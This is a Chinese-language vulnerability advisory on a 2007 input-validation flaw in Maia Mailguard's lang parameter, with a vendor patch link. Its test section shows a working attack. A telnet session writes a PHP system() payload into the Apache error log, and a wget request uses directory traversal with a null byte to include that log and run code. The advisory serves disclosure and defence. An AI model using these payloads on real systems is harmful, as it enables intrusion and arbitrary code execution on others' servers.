更新日期:2007-07-06
受影响系统:
Maia Mailguard <= 1.0.2描述:
BUGTRAQ ID: 24770
Maia Mailguard是用Perl和PHP编写的基于Web界面的管理系统,允许用户控制杀毒引擎和垃圾邮件过滤器处理邮件的方式。
Maia Mailguard实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在用户机器上执行恶意代码。
Maia Mailguard没有正确地过滤用户输入中的lang变量,允许攻击者发布恶意命令执行目录遍历攻击,在受影响系统上执行任意代码。
<*来源:Adriel T. Desautels
链接:http://marc.info/?l=bugtraq&m=118365723425374&w=2
http://secunia.com/advisories/25951/
http://www.maiamailguard.org/maia/ticket/479
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
the-wretched:~ simon$ telnet maiatest.snosoft.com 80
Trying 10.0.0.128...
Connected to maiatest.snosoft.com.
Escape character is '^]'.
get <pre>><?php system('ls -laf /var/log');?>
HTTP/1.1 400 Bad Request
Date: Wed, 20 Jun 2007 21:31:58 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.1 with Suhosin-Patch mod_ssl/2.8.28
OpenSSL/0.9.7e-p1
Connection: close
Content-Type: text/html; charset=iso-8859-1
2) 强制web应用程序读取日志文件便可执行代码:
the-wretched:~ simon$ wget http://maiatest.snosoft.com/maia/login.php?lang=../../../../../../../../../../../../../var/log/httpd-error.log%00.txt
建议:
厂商补丁:
Maia
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.maiamailguard.org/maia/changeset/1184?format=diff&new=1184
